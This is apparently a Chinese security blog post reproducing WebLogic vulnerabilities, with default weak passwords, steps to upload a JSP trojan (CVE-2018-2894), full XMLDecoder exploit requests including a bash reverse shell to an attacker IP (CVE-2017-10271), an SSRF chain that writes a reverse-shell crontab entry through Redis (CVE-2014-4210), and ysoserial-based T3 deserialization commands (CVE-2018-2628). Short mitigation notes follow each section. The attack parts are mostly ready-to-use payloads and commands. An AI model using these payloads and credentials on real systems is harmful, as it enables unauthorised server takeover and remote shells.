[WEB安全]Weblogic漏洞总结

技术

0x01 Weblogic简介

1.1 叙述

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。  
Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的Java EE应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。  
在功能性上,Weblogic是Java EE的全能应用服务器,包括EJB 、JSP、servlet、JMS等,是商业软件里排名第一的容器(JSP、servlet、EJB等),并提供其他工具(例如Java编辑器),因此也是一个综合的开发及运行环境。  

在扩展性上,Weblogic Server凭借其出色的群集技术,拥有处理关键Web应用系统问题所需的性能、可扩展性和高可用性。Weblogic Server既实现了网页群集,也实现了EJB组件群集,而且不需要任何专门的硬件或操作系统支持。网页群集可以实现透明的复制、负载平衡以及表示内容容错。无论是网页群集,还是组件群集,对于电子商务解决方案所要求的可扩展性和可用性都是至关重要的。
目前Weblogic在全球的使用量也占居前列,据统计,在全球范围内对互联网开放Weblogic服务的资产数量多达35382台,美国和中国的Weblogic的使用量接近Weblogic总使用量的70%,其中归属中国地区的资产数量为10562台。

1.2 Weblogic活跃的几个较新版本


        
Weblogic 10.3.6.0  
Weblogic 12.1.3.0  
Weblogic 12.2.1.1  
Weblogic 12.2.1.2  
Weblogic 12.2.1.3  

    

Weblogic常用端口:7001

Weblogic后台登录地址:
输入 http://your-ip:7001/console 即可进入后台

1.3 Weblogic历史漏洞


        
#控制台路径泄露   
Weakpassword   
  
#SSRF:  
CVE-2014-4210   
  
#JAVA反序列化:  
CVE-2015-4852   
CVE-2016-0638   
CVE-2016-3510   
CVE-2017-3248   
CVE-2018-2628   
CVE-2018-2893   
  
#任意文件上传   
CVE-2018-2894   
  
#XMLDecoder反序列化:  
CVE-2017-10271   
CVE-2017-3506  

    

1.4 复现漏洞简要描述


        
#weakpassword:  
  
Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。因此存在弱口令爆破的风险。  
在本环境下模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。  

    

        
#SSRF漏洞(CVE-2014-4210):  
  
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中redis、fastcgi等脆弱组件。  

    

        
#任意文件上传漏洞(CVE-2018-2894):  
  
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。  

    

        
#XML Decoder反序列化漏洞(CVE-2017-10271):  
  
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。  

    

        
#Java反序列化漏洞(CVE-2018-2628):  
  
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。  

    

0x02 Weblogic弱口令漏洞

2.1 后台登录地址

输入 http://your-ip:7001/console 即可进入后台

2.2 Weblogic常见弱口令总结


        
system:password		weblogic:weblogic		admin:secruity  
joe:password		mary:password		system:sercurity  
wlcsystem: wlcsystem		weblogic:Oracle@123  
  
https://cirt.net/passwords?criteria=weblogic  

    

0x03 任意文件上传漏洞(CVE-2018-2894)

3.1 涉及版本


        
10.3.6,12.1.3  
12.2.1.2,12.2.1.3  

    

复现步骤:
1、进入后台:
勾选在base_domain下的“高级”下的“启用web服务测试页”这个选项,最后点击保存
picture.image

2、进入未经授权的上传界面:http://your-ip/ws_utc/config.do
picture.image

3、将“通用”下的“当前工作目录”路径设置为:


        
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css  

    

设置该目录的目的:
将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

4、开始上传木马:
进入“安全”,点击“添加”,点击“浏览…”,选择你要上传的jsp木马,点击“提交”,成功上传jsp木马

5、按键“F12”,选中上传文件名元素,该标签下有个id元素(时间戳id,下面会用到),复制它。

picture.image

6、上传木马的访问路径:


        
http://your-ip:7001/ws\_utc/css/config/keystore/[时间戳id]\_[文件名]  

    

picture.image

3.2 如何防御及修复

1.设置Config.do页面登录授权后访问;
2.IPS等防御产品可以加入相应的特征;
3.升级到官方最新版本

0x04 XML Decoder反序列化漏洞(CVE-2017-10271)

4.1 涉及版本


        
10.3.6.0,12.1.3.0.0,12.2.1.1.0  

    

4.2 漏洞地址


        
/wls-wsat/CoordinatorPortType  
/wls-wsat/RegistrationPortTypeRPC  
/wls-wsat/ParticipantPortType  
/wls-wsat/RegistrationRequesterPortType  
/wls-wsat/CoordinatorPortType11  
/wls-wsat/RegistrationPortTypeRPC11  
/wls-wsat/ParticipantPortType11  
/wls-wsat/RegistrationRequesterPortType11  

    

4.3 检测是否存在漏洞


        
工具利用 --- XML反序列化漏洞检查工具  
脚本利用 --- CVE-2017-10271-poc.py  
Burp抓包传入数据验证  

    

工具利用 --- XML反序列化漏洞检查工具

picture.image

脚本利用 --- CVE-2017-10271-poc.py

picture.image

picture.image

(1)或者自行检测页面是否能够写入文件,打开漏洞地址,本次实例为:


        
http://your-ip:7001/wls-wsat/CoordinatorPortType  

    

(2)使用Burp抓包,将其转发到“Repeater”模块下,将GET变为POST,改成poc数据包,点击Go按钮

POC:


        
POST /wls-wsat/CoordinatorPortType HTTP/1.1  
Host: your-ip:7001  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)  
Connection: close  
Content-Type: text/xml  
Content-Length: 638  
  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
    <soapenv:Header>  
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
    <java><java version="1.4.0" class="java.beans.XMLDecoder">  
    <object class="java.io.PrintWriter">   
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>  
    <void method="println">  
<string>  
    <![CDATA[  
<% out.print("test"); %>  
    ]]>  
    </string>  
    </void>  
    <void method="close"/>  
    </object></java></java>  
    </work:WorkContext>  
    </soapenv:Header>  
    <soapenv:Body/>  
</soapenv:Envelope>  
  

    

(3)效果页面:
访问地址为:http://your-ip:7001/bea\_wls\_internal/test.jsp
picture.image

4.4 反弹一个shell

(1)nc监听本地端口:


        
nc -l -p 7089  

    

(2)通过Burp,自行更改数据包,exp改为反弹shell的命令:


        
POST /wls-wsat/CoordinatorPortType HTTP/1.1  
Host: IP:7001  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)  
Connection: close  
Content-Type: text/xml  
Content-Length: 640  
  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>  
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
<java version="1.4.0" class="java.beans.XMLDecoder">  
<void class="java.lang.ProcessBuilder">  
<array class="java.lang.String" length="3">  
<void index="0">  
<string>/bin/bash</string>  
</void>  
<void index="1">  
<string>-c</string>  
</void>  
<void index="2">  
<string>bash -i >& /dev/tcp/192.168.206.132/7089 0>&1</string>  
</void>  
</array>  
<void method="start"/></void>  
</java>  
</work:WorkContext>  
</soapenv:Header>  
<soapenv:Body/>  
</soapenv:Envelope>  

    

(3)效果图:
picture.image

4.5 如何防御与修复

1.临时解决方案
根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。

根据实际环境路径,删除WebLogic wls-wsat组件:


        
rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war  
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war  
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat  
重启Weblogic域控制器服务:  
DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务  
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务  
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面  

    

2.官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

升级过程可参考:
http://blog.csdn.net/qqlifu/article/details/49423839

0x05 Weblogic-SSRF漏洞(CVE-2014-4210)

5.1 简介

SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF攻击的目标是从外部网络无法访问的内部系统。

5.2 SSRF危害以及可实现的攻击行为

  • 主机上本地敏感信息读取,对外网服务器所在的内网的本地端口进行扫描,获取服务的Banner信息
  • 攻击运行在内外网主机的应用程序
  • 通过访问默认文件对内网Web应用进行指纹识别
  • 攻击内外网的Web应用,主要是使用GET参数就可以实现攻击
  • 利用file协议读取本地文件

5.3 涉及版本


        
10.0.2,	10.3.6  

    

5.4 漏洞地址


        
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp  

    

5.5 检测是否存在漏洞

使用脚本简单探测:ssrf-poc_simple.py(基于python3.x)

手工进行简单检测,在漏洞地址处,点击Search按钮,返回:“An error has occurred”

可从漏洞页面下的Setup UDDI Explorer处发现内网地址

picture.image

如果不显示,可以使用脚本猜测。“ip_detect.py”:python ip_detect.py --url 目标地址(基于python2.x)

内网地址(可自行按需更改):


        
10.0.0.0 ~ 10.255.255.255,  
172.16.0.0 ~ 172.31.255.255   
192.168.0.0 ~ 192.168.255.255  

    

开始手工进行内网探测,打开漏洞页面后,通过Search,产生数据包:

picture.image

picture.image

对operator参数进行修改数据:

picture.image

观察现象,根据探测结果进行简要分析:

  • 主机存活且端口存在
    picture.image
  • 不存在的端口或IP地址
    picture.image
  • 可访问的端口(且该端口是非http协议)
    picture.image

5.6 模拟攻击

现在模拟内网中存在一台Redis,我们来对他进行攻击:

在前面的探测,我们已经知道了目标系统内网地址存活状态,并发现了一个6379端口主机,根据经验,该端口下的服务是Redis数据库。
picture.image

尝试“利用注入HTTP头,来让Redis反弹shell”:

  • Weblogic的SSRF,在使用GET请求时,可以通过“%0a%0d”(\r\n,换行符),来注入换行符。
  • 某些服务(如Redis)是通过换行符来分隔每条命令
  • 因此可以通过该SSRF攻击内网中的Redis服务器

根据已知条件,我们可以对这个页面的数据包做些手脚:

(1)将原本POST传输的数据,通过GET方式传输

(2)拼接好传输的数据后,通过注入换行符,发送三条redis命令,将弹shell脚本写入/etc/crontab

picture.image

Redis反弹shell脚本:


        
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/7089 0>&1\n\n\n\n"  
config set dir /etc/  
config set dbfilename crontab  
save  

    

进行url编码:


        
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa  

    

(3)在本地进行端口监听,同时发送编码后的payload:


        
nc -l -p 7089  

    

(4)成功执行:

picture.image

picture.image

5.7 如何防御与修复

1.如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。

2.安装oracle的更新包。
http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

0x06 Java反序列化漏洞(CVE-2018-2628)

6.1 Java序列化与Java反序列化

简介:
Java序列化:即把Java对象转换为字节序列的过程
Java反序列化:是指把字节序列恢复为Java对象的过程

作用:
序列化与反序列化目的是为了让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信,对象持久化存储。

6.2 Java反序列化漏洞成因

在上述情况中所说的转换过程中,出现了漏洞,加之暴露或间接暴露出可反序列化的API,导致用户可以操作,并传入数据,或精心构造恶意代码。

6.3 相关历史漏洞简介


        
#CVE-2015-4852   
Weblogic 直接反序列化   
是基于Weblogic t3协议引起远程代码执行的反序列化漏洞   
#CVE-2016-0638   
Weblogic 直接反序列化   
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过 拜Oracle一直以来的黑名单修复方式所赐   
#CVE-2016-3510   
基于Weblogic t3协议引起远程代码执行的反序列化漏洞   
#CVE-2017-3248   
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化   
#CVE-2018-2628   
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP反序列化   
#CVE-2018-2893   
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 实为CVE-2018-2628绕过 同样拜Oracle一直以来的黑名单修复方式所赐 属于Weblogic JRMP反序列化  

    

6.4 涉及版本


        
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3  

    

6.5 漏洞复现

1.使用“nmap”探测目标信息,是否存在T3协议信息:


        
nmap –n –v –p 7001 目标地址  --script=weblogic-t3-info  

    

picture.image

2.使用python脚本进行探测,是否存在漏洞(在Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0号中,基于python2.x版本)


        
python weblogic\_poc.py 目标地址  

    

picture.image

3.根据前面探测的信息,我们发现目标存在Java反序列化漏洞,来让我们进一步攻击它吧,我们需要使用到“ysoserial”

picture.image

4.首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令:


        
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]  
  
[listen port]:攻击机要监听的端口  
[command]:想要执行的命令  

    

picture.image

5.开始使用44553.py脚本来向目标发送数据包(基于python2.x)


        
python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]  
  
[victim ip]:目标weblogic的IP  
[victim port]:目标weblogic的端口  
[path to ysoserial] :ysoserial的路径  
[JRMPListener ip] :第一步中启动JRMP Server的IP地址  
 [JRMPListener port] :第一步中启动JRMP Server的I端口地址  
[JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2  

    

6.6 如何防御与修复

参考链接:

http://www.talkwithtrend.com/Article/178555

0x07 参考链接


        
http://www.talkwithtrend.com/Article/178555  
http://www.storysec.com/kali-linux-install-docker.html  
https://github.com/Medicean/VulApps  
https://www.kingkk.com/2018/09/weblogic%E6%BC%8F%E6%B4%9E%E7%BB%83%E4%B9%A0/  
https://xz.aliyun.com/t/140  
https://www.jianshu.com/p/08710cfde0f0  
https://www.secpulse.com/archives/38967.html  
https://github.com/rabbitmask/WeblogicScan  
http://www.admintony.com/CVE-2018-2628-WebLogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.html  
https://www.jianshu.com/p/42a3bb2b2c2c  
https://github.com/k8gege/K8tools  

    


          
作者:肖洋肖恩、
          
出处:https://www.cnblogs.com/-mo-/
      

历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“ 再看 ”,感激不尽 picture.image

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
基于 Ray 的大模型离线推理
大模型离线推理,是指在具有数十亿或数万亿参数的大规模模型上进行分布式推理的过程。相较于常规模型推理,在模型切分、数据处理和数据流、提升 GPU 利用率方面面临了很大挑战。本次分享将介绍如何利用 Ray 及云原生优势助力大模型离线推理。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论